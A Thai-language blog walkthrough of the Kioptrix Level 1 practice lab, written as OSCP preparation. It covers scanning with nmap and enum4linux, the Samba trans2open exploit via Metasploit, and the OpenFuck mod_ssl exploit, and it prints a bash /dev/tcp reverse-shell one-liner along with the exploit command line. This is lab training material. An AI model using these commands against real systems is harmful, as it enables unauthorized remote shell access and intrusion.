Skip to main content

Kioptrix #1 Walkthrough <> รีวิว Lab Kioptrix level 1

This lab is one of Kioptrix series that I learned before take OSCP exam on 2015. For this post I write with only Thai language. However you can simply understand my step from pictures. 

post วันนี้เอา lab สมัยตอนเตรียมตัวสอบ oscp มา walkthrough ย้อนหลังอีก 1 lab ชื่อ Kioptrix level 1 ครับ เขียนรีวิวไว้ตั้งแต่สอบเสร็จปี 2015 เช่นกัน ช่วงนี้เอาเรื่องเก่าๆมาทบทวน พบว่าลืมไปเยอะเหมือนกัน มีกระบี่ต้องคอยลับคมนะครับ มาเริ่มกันเลยดีกว่า

ผมทำ lab นี้โดย run ตัวเป้าหมายบน VM นะครับ 

1. ก่อนอื่นก็เลยต้องใช้ net discover เพื่อค้นหาในวง subnet ของเราว่าเป้าหมายเป็น ip อะไร

# netdiscover -r 192.168.xx.0/24



2. รัน nmap เพื่อหา service ที่น่าสนใจ


# nmap -p1-65535 -sS -sV -A 192.168.xx.20


3. พบ port 80 ลองใช้ nikto ทำการ scan พบบางอย่างน่าสนใจ ตามภาพ
เราจะทำ exploit จากข้อมูลที่ได้ในขั้นตอน recon กับ discover

วิธีการที่ 1

จากผลของ nmap พบว่าเป็น linux 2.4.9 ซึ่งค่อนข้างเก่า และมีการใช้ samba ด้วย ดังนั้นเราจะลองใช้ tools ชื่อ enum4linux ซึ่งมีใน kali อยู่แล้ว scan ได้ผลดังภาพ



พบ samba version 2.2.1a ซึ่งมีช่องโหว่ trans2open  ตามภาพจากใน exploit-db 


ก็จัดเลย โดยผมจะใช้ metasploit แทนการใช้ script เพราะมีมาให้อยู่แล้ว และจากที่ไปดูของคนอื่นที่ทำรีวิว ปรากฏว่าเขาใช้อีกช่องโหว่นึงด้วย ผมก็จะไปอันนี้เร็วๆ จะได้เขียนอีกอันนึง



ได้เป็น limited shell ซึ่งถ้าอยากได้ interactive shell ก็ไม่ยากใช้สูตรเดิม

bash -i >& /dev/tcp/192.168.xx.16/4444 0>&1  (โดยใส่ ip เครื่องเราลงไป)



วิธีการที่ 2 

วิธีนี้ไปเห็นของคนอื่นใน internet เลยมาทำต่อ คือจากผลของ nikto ที่ scan เจอเรื่อง mod_ssl ด้านบน เราเอาไป search ใน google เจาอันนี้เลย OpenFuck



ซึ่งใน kali ของเราก็มีอยู่แล้ว ลอง search ดู



ซึ่งจากข้อมูลใน exploit-db จะบอกให้เราทำการ modify code ตาม 
http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/  

ผม copy มาให้ตามนี้ครับ


แล้วพอลอง run ดูจะมีให้เลือก version ของ apache เป้าหมาย ก็เลือกตามภาพ


ลองรัน code ที่เราทำการ compile เสร็จแล้วเพื่อโจมตี

# ./openfuck 0x6b 192.168.99.20 443

 ผลที่ได้ got a shell


Comments

Popular posts from this blog

My OSCP Review <-> รีวิว ประสบการณ์การสอบ OSCP ( It is just the beginning)

เนื้อหาภาษาไทยสามารถดูได้ด้านล่างนะครับ About me I would like to tell you before that my english writing skill is not good, ^^", but I will try . I was Network Engineer and System Engineer with 10 years working experience and have CCNP, CCNP Security, CCDP, ITIL, MCP and I have experience in ISO27001 for 4 years. Right now I move to be a Penetration Tester in new company for 6 months. Inspiration Actually before getting a new job as pentester I would like to take CEH or ECSA certificate. But after do a new job, my three colleagues have OSCP and they are my model. All of them have an awesome skill. Then I try to find more information about OSCP and found that OSCP is very difficult to pass, no exam dump, no one answer you. Although I have a few experience on hacking but I think I can try and TRY HARDER. OSCP Course There are two course manual, pdf and video that are dependent. After I got them I tried to read from PDF only but not enough, many technics ar...

Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่ 2

ใครที่ยังไม่ได้อ่านตอนแรก สามารถอ่านได้ที่ Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่  1 4. การ Maintenance      หลังจากที่เราทำการ implement เสร็จแล้ว ไม่ใช่ว่าจะจบกันเท่านี้ มันแค่เริ่มต้น It's just the beginning. ก็ต้องมีขั้นตอนในการที่ดูแล และ up-to-date ให้อุปกรณ์ในระบบไม่มีช่องโหว่ต่อไป รวมถึงปรับปรุง template ในการ hardening เป็นประจำด้วย จะกล่าวถึงต่อไปนะ โดยปกติที่ผมเคยทำมา จะมีการกำหนดให้คนนึงที่อาจจะเป็น Security Consult ของแต่ละ platform แต่ละแผนก ในการทำ subscribe ไปยัง vendor ต่างๆ ตามอุปกรณ์ที่ดูแลอยู่เพื่อรับข่าวสาร และได้รับ notification เวลามี security update เพื่อจะนำมาวิเคราะห์ดูว่าระบบที่เราดูแลอยู่นั้นมีช่องโหว่ใหม่ๆ ที่เกี่ยวกับอุปกรณ์ของเราเกิดขึ้นหรือไม่ ถ้ามีก็ต้องนำมาเข้าสู่กระบวนการดังที่กล่าวไปข้างต้น มีคนแล้วก็ต้องมี policy องค์กรก็ต้องมีการกำหนด policy ขึ้นมาเพื่อใช้ควบคุมระยะเวลาที่องค์กรยอมรับความเสี่ยงต่อช่องโหว่ในระดับต่างๆได้ ยกตัวอย่างให้เห็นภาพ ที่ผู้เขียนเคยทำมา เช่น ถ้ามีช่องโหว่เกิดขึ้นใหม่...

Howto change Holder's name in Cisco Tracking System and Certificate <> การเปลี่ยนชื่อใน Cisco Tracking System

สามารถอ่าน version ภาษาไทยได้ด้านล่างเช่นเคยครับ In this topic, I will tell you about how to change holder's name is Cisco system and certificate. Yeah !! in my country there are many people who change their name in order to their belief.  You can guess my country ^^ hehe. OK! Let me explain . Objective : want to change my name in Certificate document and Cisco system. Open a case at  http://www.cisco.com/go/certsupport   I need to sign-in with current account and then explain my objective (change name) to Cisco. After that Cisco will response in a day and give me some reference document or evidence as email below (I copied from my email to show you example). ##### In order to make a name change, we need to receive legal identification to support the change. Legal identification includes a copy of your State Driver's License or State ID, passport or court documentation. Upon receipt of the requested documentation, please allow up to 2 business days to hav...